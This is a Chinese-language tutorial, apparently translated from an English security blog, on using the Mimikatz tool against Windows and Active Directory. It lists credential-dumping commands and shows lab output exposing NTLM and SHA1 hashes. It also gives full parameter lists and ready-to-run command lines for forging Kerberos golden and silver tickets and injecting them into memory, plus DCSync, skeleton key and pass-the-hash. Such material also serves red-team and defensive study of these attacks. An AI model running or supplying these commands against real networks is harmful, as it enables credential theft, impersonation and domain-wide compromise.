0x00:简介:
Mimikatz是从Windows系统收集凭据数据的最佳工具之一.实际上,大多数认为Mimikatz是Windows凭据的"瑞士军刀"(或多功能工具),该工具可以完成所有任务.由于Mimikatz的作者Benjamin Delpy是法国人,因此,至少在他的博客上,大多数描述Mimikatz用法的资源都使用法语.该Mimikatz GitHub的库是英文的,包括命令使用的有用信息.
https://github.com/gentilkiwi/mimikatz
Mimikatz是Benjamin Delpy(@gentilkiwi)于2007年用C编写的Windows x32/x64程序,以了解有关Windows凭据的更多信息(并作为概念证明).有两个提供其他功能的可选组件:mimidrv(与Windows内核交互的驱动程序)和mimilib(AppLocker绕过,Auth软件包/ SSP,密码过滤器和WinDBG的sekurlsa).Mimikatz需要管理员或SYSTEM权限,并且通常具有调试权限,以便执行某些操作并与LSASS进程进行交互(取决于所请求的操作).Mimikatz.exe包含或至少应包含此处注明的所有功能.
发行版本:https://github.com/gentilkiwi/mimikatz/releases
WIKI文档:https://github.com/gentilkiwi/mimikatz/wiki
0x01:最受欢迎的Mimikatz命令:
CRYPTO::Certificates –列表/导出证书
KERBEROS::Golden –创建黄金/白银/信托票
KERBEROS::List –列出用户存储器中的所有用户票证(TGT和TGS).不需要特殊特权,因为它仅显示当前用户的票证.类似于" klist"的功能.
KERBEROS::PTT –通过门票.通常用于注入被盗或伪造的Kerberos票证(黄金/白银/信任).
LSADUMP::DCSync –要求DC同步对象(获取帐户的密码数据).无需在DC上运行代码.
LSADUMP::LSA –要求LSA服务器检索SAM / AD企业(正常,即时修补或注入).用于从域控制器或lsass.dmp转储文件中转储所有Active Directory域凭据.也用于通过参数/ name获取特定的帐户凭据,例如krbtgt:" / name:krbtgt"
LSADUMP::SAM –获取SysKey以解密SAM条目(从注册表或配置单元).SAM选项连接到本地安全帐户管理器(SAM)数据库,并转储本地帐户的凭据.这用于转储Windows计算机上的所有本地凭据.
LSADUMP::Trust –要求LSA服务器检索信任验证信息(正常或即时修补).转储所有关联的信任(域/林)的信任密钥(密码).
MISC::AddSid –添加到用户帐户的SIDHistory.第一个值是目标帐户,第二个值是帐户/组名称(或SID).移至SID:自2016年5月6日起修改.
MISC::MemSSP –注入恶意的Windows SSP来记录本地身份验证的凭据.
MISC::Skeleton –将万能钥匙插入域控制器上的LSASS进程.这样,所有用户对经过Skeleton Key修补的DC的身份验证都可以使用"主密码"(也称为Skeleton Key)以及其通常的密码.
PRIVILEGE::Debug –获得调试权限(许多Mimikatz命令需要此权限或"本地系统"权限).
SEKURLSA::Ekeys –列出Kerberos加密密钥
SEKURLSA::Kerberos –列出所有经过身份验证的用户(包括服务和计算机帐户)的Kerberos凭据
SEKURLSA::Krbtgt –获取域Kerberos服务帐户(KRBTGT)密码数据
SEKURLSA::LogonPasswords –列出所有可用的提供者凭证.这通常显示最近登录的用户和计算机凭据.
SEKURLSA::Pth – Pass-theHash和Over-pass-the-Hash
SEKURLSA::Tickets –列出所有最近通过身份验证的用户的所有可用Kerberos票证,包括在用户帐户和本地计算机的AD计算机帐户的上下文中运行的服务.与kerberos::list不同,sekurlsa使用内存读取,并且不受密钥导出限制.sekurlsa可以访问其他会话(用户)的票证.
TOKEN::List –列出系统的所有令牌
TOKEN::Elevate –模拟令牌.用于将权限提升为SYSTEM(默认)或在框中找到域管理员令牌
TOKEN::Elevate / domainadmin –使用Domain Admin凭据模拟令牌.
0x02:Mimikatz命令指南:
一、只需运行"Mimikatz.exe"或向其传递命令并退出,即可以交互模式执行Mimikatz
(例如:"Mimikatz"kerberos :: list" exit")
Mimikatz可用于将命令从命令行传递到Mimikatz进行处理,以便对Invoke-Mimikatz或在脚本中使用Mimikatz.执行最后一条命令后,追加"退出"将退出Mimikatz(执行此操作以使Mimikatz正常退出).
PS C:tempmimikatz> .mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32) .## ^ ##. ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 17 modules * * */mimikatz(commandline) # privilege::debug Privilege '20' OKmimikatz(commandline) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 646260 (00000000:0009dc74) Session : RemoteInteractive from 2 User Name : adsadministrator Domain : ADSECLAB Logon Server : ADSDC03 Logon Time : 11/27/2015 11:41:27 AM SID : S-1-5-21-1581655573-3923512380-696647894-500 msv : [00000003] Primary * Username : ADSAdministrator * Domain : ADSECLAB * NTLM : 5164b7a0fda365d56739954bbbc23835 * SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f [00010000] CredentialKeys * NTLM : 5164b7a0fda365d56739954bbbc23835 * SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f tspkg : wdigest : * Username : ADSAdministrator * Domain : ADSECLAB * Password : (null) kerberos : * Username : adsadministrator * Domain : LAB.ADSECURITY.ORG * Password : (null) ssp : KO
二、交互模式提供了一个"Mimikatz控制台",可以在其中实时输入和执行命令:
PS C:tempmimikatz> .mimikatz.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32) .## ^ ##. ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 17 modules * * */mimikatz # privilege::debug Privilege '20' OKmimikatz # sekurlsa::logonpasswordsAuthentication Id : 0 ; 646260 (00000000:0009dc74) Session : RemoteInteractive from 2 User Name : adsadministrator Domain : ADSECLAB Logon Server : ADSDC03 Logon Time : 11/27/2015 11:41:27 AM SID : S-1-5-21-1581655573-3923512380-696647894-500 msv : [00000003] Primary * Username : ADSAdministrator * Domain : ADSECLAB * NTLM : 5164b7a0fda365d56739954bbbc23835 * SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f [00010000] CredentialKeys * NTLM : 5164b7a0fda365d56739954bbbc23835 * SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f tspkg : wdigest : * Username : ADSAdministrator * Domain : ADSECLAB * Password : (null) kerberos : * Username : adsadministrator * Domain : LAB.ADSECURITY.ORG * Password : (null) ssp : KO credman :
0x03:Mimikatz 模块:
- BUSYLIGHT
- CRYPTO (加密)
- CRYPTO::Certificates
- DPAPI
- EVENT (日志/事件)
- IIS
- KERBEROS
- Golden Tickets (黄金票据)
- Silver Tickets (白银票据)
- Trust Tickets (信托票据)
- KERBEROS::PTT
- LSADUMP
- DCSync
- DCShadow
- LSADUMP::LSA
- LSADUMP::NetSync
- LSADUMP::SAM
- LSADUMP::Trust
- MISC
- MINESWEEPER
- NET
- PRIVILEGE
- PRIVILEGE::Debug
- PROCESS
- RPC
- SERVICE
- SEKURLSA
- SEKURLSA::Kerberos
- SEKURLSA::Krbtgt
- SEKURLSA::LogonPasswords
- SEKURLSA::Pth
- SID
- STANDARD
- SYSENV
- TOKEN (令牌)
- TOKEN::Elevate
- TOKEN::Elevate /domainadmin
- TS
- VAULT
0x04:Mimikatz 案例模块讲解:
一、Golden Tickets (黄金票据)
何为黄金票据?
黄金票据是使用KRBTGT NTLM密码哈希进行加密和签名的TGT.可以创建黄黄金票据证(GT),以将域中的任何用户(真实或想象中的)模拟为域中任何资源的域中任何组的成员(提供几乎无限的权利).
由于黄黄金票据证是身份验证票证(如下所述的TGT),由于TGT用于获取用于访问资源的服务票证(TGS),因此其范围是整个域(以及利用SID历史记录的AD林).黄黄金票据证(TGT)包含用户组成员身份信息(PAC),并使用域的Kerberos服务帐户(KRBTGT)进行签名和加密,该帐户只能由KRBTGT帐户打开和读取.
总而言之,一旦攻击者可以访问KRBTGT密码哈希,他们就可以创建黄黄金票据证(TGT),以便随时访问AD中的任何内容.
创建金票的Mimikatz命令是"kerberos :: golden"
/domain-完全限定的域名.举个栗子:"lab.adsecurity.org”.
/sid-域的SID.举个栗子:"S-1-5-21-1473643419-774954089-2222329127”.
/sids-具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.Ť 他的参数将提供的小岛屿发展中国家的SID历史参数.
/user-要模拟的用户名
/groups(可选)–用户所属的组RID(第一个是主组).添加用户或计算机帐户RID以获得相同的访问权限.默认组:知名管理员组的513,512,520,518,519(下面列出).
/krbtgt-域KDC服务帐户(KRBTGT)的NTLM密码哈希.用于加密和签名TGT.
/ticket(可选)–提供用于保存GoldenTicket文件以供以后使用的路径和名称,或使用/ptt立即将GoldenTicket注入内存以供使用.
/ptt-作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.
/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).
/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.
/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).
/renewmax(可选)–续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).
/sids(可选)–设置为AD林中EnterpriseAdmins组的SID([ADRootDomainSID]-519),以欺骗整个AD林中的企业管理员权限(AD林中每个域中的ADadmin).
/aes128-AES128密钥
/aes256-AES256密钥
黄金票据默认组:
- 域用户SID:S-1-5-21 <DOMAINID> -513
- 域管理员SID:S-1-5-21 <DOMAINID> -512
- 架构管理员SID:S-1-5-21 <DOMAINID> -518
- 企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限)
- 组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
kerberos :: golden / admin:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
举个栗子:
.mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit
二、Silver Ticket (白银票据)
何为白银票据?
Silver Ticket是使用目标服务帐户的NTLM密码哈希(通过SPN映射标识)进行加密和签名的TGS(格式类似于TGT).
创建银票的Mimikatz命令是“kerberos::golden"
/domain-完全限定的域名.在此示例中:"lab.adsecurity.org".
/sid–域的SID.在此示例中:"S-1-5-21-1473643419-774954089-2222329127".
/sids–具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.
/user-模拟用户名
/groups(可选)–用户所属的组RID(第一个是主组)默认值:知名管理员组(如下所列)的513,512,520,518,519.
/ticket(可选)–提供用于保存伪造的票证文件以供以后使用的路径和名称,或使用/ptt立即将黄金票证注入内存以供使用.
/ptt–作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.
/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).
/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.
/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).
/renewmax(可选)–带有续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).
/aes128–AES128密钥
/aes256–AES256密钥
白银票必填参数:(重点重点重点)
/target-目标服务器的FQDN.
/service –在目标服务器上运行的kerberos服务.这是服务主体名称类(或类型),举个栗子:cifs,http,mssql.
/rc4 –服务(计算机帐户或用户帐户)的NTLM hash
白银票据默认组:
- 域用户SID:S-1-5-21 <DOMAINID> -513
- 域管理员SID:S-1-5-21 <DOMAINID> -512
- 架构管理员SID:S-1-5-21 <DOMAINID> -518
- 企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限)
- 组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
创建白银票据的示例Mimikatz命令:
以下Mimikatz命令在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建银票.
为了成功创建此Silver Ticket,需要通过AD域转储或通过在本地系统上运行Mimikatz来发现adsmswin2k8r2.lab.adsecurity.org的AD计算机帐户密码哈希,
如上所示
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit
NTLM密码哈希与/rc4参数一起使用.还需要在/service参数中标识服务SPN类型.最后,需要在/target参数中提供目标计算机的标准域名.不要忘记/sid参数中的域SID.
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
0x05:Referer
https://adsecurity.org/?page_id=1821http://blog.gentilkiwi.com/mimikatzhttp://t3ngyu.leanote.com/cate/横向渗透